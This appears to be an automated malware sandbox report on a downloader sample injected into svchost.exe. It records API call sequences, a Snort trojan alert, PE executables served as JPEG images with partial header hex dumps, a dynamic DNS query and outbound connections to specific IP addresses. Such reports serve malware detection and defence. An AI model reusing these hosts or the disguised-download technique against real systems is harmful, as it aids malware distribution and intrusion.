Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.NonGeneric\4.0.3.0\System.Collections.NonGeneric.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Compression/netfx\System.IO.Compression.pdb]W source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Requests\4.0.11.0\System.Net.Requests.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Extensions\4.1.2.0\System.Runtime.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Net.Sockets/netfx\System.Net.Sockets.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections\4.0.11.0\System.Collections.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/net461-Release/Microsoft.Bcl.AsyncInterfaces.pdbSHA256X^. source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebSockets\4.0.2.0\System.Net.WebSockets.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Diagnostics.StackTrace/netfx\System.Diagnostics.StackTrace.pdb$.>. 0._CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Json\4.0.1.0\System.Runtime.Serialization.Json.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.MemoryMappedFiles\4.0.2.0\System.IO.MemoryMappedFiles.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Primitives\4.0.11.0\System.Net.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Globalization.Calendars\4.0.3.0\System.Globalization.Calendars.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.Watcher\4.0.2.0\System.IO.FileSystem.Watcher.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_00410680 NetUserEnum,wcstombs,NetApiBufferFree,NetApiBufferFree,LocalAlloc,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,LocalReAlloc,

11_2_00410680

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_10016AC0 FindFirstFileA,RemoveDirectoryA,RemoveDirectoryA,DeleteFileA,FindNextFileA,FindClose,	8_2_10016AC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00407CF0 FindFirstFileA,FindClose,FindClose,	11_2_00407CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_004075B0 wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	11_2_004075B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00407DB0 FindFirstFileA,FindClose,CreateFileA,CloseHandle,	11_2_00407DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00407A00 lstrlenA,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,??2@YAPAXI@Z,??3@YAXPAX@Z,wsprintfA,FindNextFileA,FindClose,	11_2_00407A00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_004073E0 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlenA,FindNextFileA,LocalFree,FindClose,	11_2_004073E0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_00407220 GetLogicalDriveStringsA,GetVolumeInformationA,SHGetFileInfoA,lstrlenA,lstrlenA,lstrlenA,GetDiskFreeSpaceExA,GetDriveTypeA,lstrlenA,

11_2_00407220

Source: C:\Users\user\Desktop\38iGnQnL33.exe

Code function: 4x nop then push esi

0_2_004047F3

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2819992 ETPRO TROJAN Downloader Receiving Likely APT.Rexpot Variant 81.28.12.12:80 -> 192.168.2.4:49731

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 1.226.84.135 53
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 119.203.212.165 80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Image file has PE prefix: HTTP/1.1 200 OK Server: nginx Date: Sat, 29 Jun 2024 06:04:58 GMT Content-Type: image/jpeg Content-Length: 3309568 Connection: keep-alive Last-Modified: Thu, 20 Jun 2024 01:33:06 GMT ETag: "44f624cdb1c2da1:303" traceparent: 00-72757caed4e2202bdab7dc3371880078-e202546a99e38231-01 X-ID: rj2-hw-edge-gc11 Cache: MISS Accept-Ranges: bytes X-ID-FE: rj2-hw-edge-gc10 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 68 40 bc 59 2c 21 d2 0a 2c 21 d2 0a 2c 21 d2 0a 43 3e d9 0a 25 21 d2 0a 43 3e d8 0a 2a 21 d2 0a af 3d dc 0a 00 21 d2 0a 57 3d de 0a 29 21 d2 0a 7a 3e c1 0a 00 21 d2 0a 4e 3e c1 0a 34 21 d2 0a 2c 21 d3 0a 8c 23 d2 0a af 29 8f 0a 2f 21 d2 0a 78 02 e3 0a 2d 21 d2 0a 1a 07 d9 0a 46 21 d2 0a 1a 07 d8 0a ca 21 d2 0a c4 3e d9 0a 70 21 d2 0a c4 3e d8 0a 37 21 d2 0a 2c 21 d2 0a 1c 21 d2 0a eb 27 d4 0a 2d 21 d2 0a 52 69 63 68 2c 21 d2 0a 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3b 85 73 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 32 00 00 20 00 00 00 e0 60 00 70 4c 93 00 00 f0 60 00 00 50 93 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 70 93 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 68 93 00 9c 02 00 00 00 50 93 00 80 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 e0 60 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 60 32 00 00 f0 60 00 00 60 32 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 20 00 00 00 50 93 00 00 1c 00 00 00 64 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Server: nginx Date: Sat, 29 Jun 2024 06:05:14 GMT Content-Type: image/jpeg Content-Length: 12244992 Connection: keep-alive Last-Modified: Mon, 03 Jun 2024 04:19:31 GMT ETag: "b8e74d3b6db5da1:303" traceparent: 00-56e42bce0daa49ed60b6f5495473d173-77434e020d14253f-01 X-ID: rj2-hw-edge-gc11 Age: 393175 Cache: STALE X-Cached-Since: 2024-06-24T16:52:19+00:00 Accept-Ranges: bytes X-ID-FE: rj2-hw-edge-gc10 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 14 ff 8b b0 50 9e e5 e3 50 9e e5 e3 50 9e e5 e3 93 91 ba e3 54 9e e5 e3 d3 82 eb e3 4a 9e e5 e3 66 b8 ef e3 24 9e e5 e3 93 91 b8 e3 43 9e e5 e3 50 9e e4 e3 db 9f e5 e3 66 b8 ee e3 0c 9e e5 e3 50 9e e5 e3 51 9e e5 e3 b8 81 ee e3 52 9e e5 e3 52 69 63 68 50 9e e5 e3 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d0 3a 5d 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 d0 ba 00 00 10 00 00 00 50 c4 00 10 2b 7f 01 00 60 c4 00 00 30 7f 01 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 7f 01 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 32 7f 01 c0 01 00 00 00 30 7f 01 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 50 c4 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 d0 ba 00 00 60 c4 00 00 ce ba 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 10 00 00 00 30 7f 01 00 06 00 00 00 d2 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode. $PPPTJ
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Content-Length: 1648640 Content-Type: image/jpeg Last-Modified: Thu, 06 Apr 2023 03:02:52 GMT Accept-Ranges: bytes ETag: "b01959473468d91:303" Server: Microsoft-IIS/6.0 Date: Sat, 29 Jun 2024 06:05:50 GMT Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 2a b8 64 e1 4b d6 37 e1 4b d6 37 e1 4b d6 37 f5 20 d5 36 ed 4b d6 37 f5 20 d3 36 26 4b d6 37 87 24 2b 37 e5 4b d6 37 8d 3f d2 36 f2 4b d6 37 8d 3f d5 36 eb 4b d6 37 8d 3f d3 36 bd 4b d6 37 f5 20 d2 36 fb 4b d6 37 37 3f d2 36 f3 4b d6 37 f5 20 d7 36 f2 4b d6 37 e1 4b d7 37 88 4a d6 37 54 3e d2 36 b3 49 d6 37 37 3f df 36 48 4b d6 37 37 3f d5 36 e2 4b d6 37 37 3f 29 37 e0 4b d6 37 e1 4b 41 37 e0 4b d6 37 37 3f d4 36 e0 4b d6 37 52 69 63 68 e1 4b d6 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 b8 c2 47 63 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1c 00 20 19 00 00 10 00 00 00 e0 53 00 50 07 6d 00 00 f0 53 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 6d 00 00 10 00 00 00 00 00 00 03 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d8 14 6d 00 4c 02 00 00 00 10 6d 00 d8 04 00 00 00 e0 69 00 e4 bf 01 00 00 00 00 00 00 00 00 00 24 17 6d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 09 6d 00 28 00 00 00 1c 0a 6d 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 e0 53 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 20 19 00 00 f0 53 00 00 1c 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 10 00 00 00 10 6d 00 00 08 00 00 00 20 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Uses dynamic DNS services

Source: unknown

DNS query: name: members.3322.org

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.svchost.exe.11235ba8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.16778db.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.11250453.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.1657e76.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.1672721.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.1125560d.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll, type: DROPPED

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_00408F10 malloc,strrchr,URLDownloadToFileA,CreateProcessA,

11_2_00408F10

Source: global traffic	TCP traffic: 192.168.2.4:49732 -> 110.11.158.238:3306
Source: global traffic	TCP traffic: 192.168.2.4:53782 -> 16.162.201.176:5060
Source: global traffic	TCP traffic: 192.168.2.4:50035 -> 5.78.80.148:769
Source: global traffic	TCP traffic: 192.168.2.4:61595 -> 5.78.86.196:769
Source: global traffic	TCP traffic: 192.168.2.4:54721 -> 5.78.114.151:769

Source: global traffic	TCP traffic: 192.168.2.4:64036 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65366 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62651 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61442 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64955 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61567 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63868 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63627 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:51083 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52290 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62408 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:51084 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:57500 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52858 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64030 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:57749 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49428 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61691 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63991 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62782 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62783 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64963 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61698 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63997 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53270 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53152 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59934 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59017 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54007 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65389 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62679 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61469 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59823 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61106 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:55469 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61223 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60497 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61100 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49406 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49405 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62682 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49645 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63894 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62443 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62564 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63532 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49643 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:58066 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63896 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63535 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63659 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:56200 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52881 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:51310 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53735 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64198 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63785 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64994 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63423 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59286 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63305 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:55120 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60825 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64519 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61913 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:56459 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:57669 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61245 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61123 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59606 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64764 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:56580 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64524 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63314 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63557 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61379 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64525 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:58760 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61932 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60956 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61928 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52785 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49620 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61133 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:65290 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:57439 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:50922 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64654 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62118 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62910 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59746 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60974 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:52311 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53884 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:53762 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:59501 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:61021 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62482 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64540 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:62362 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63331 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:63332 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64304 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:60738 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:64428 -> 1.226.84.135:53
Source: global traffic	TCP traffic: 192.168.2.4:54182 -> 1.226.84.135:53
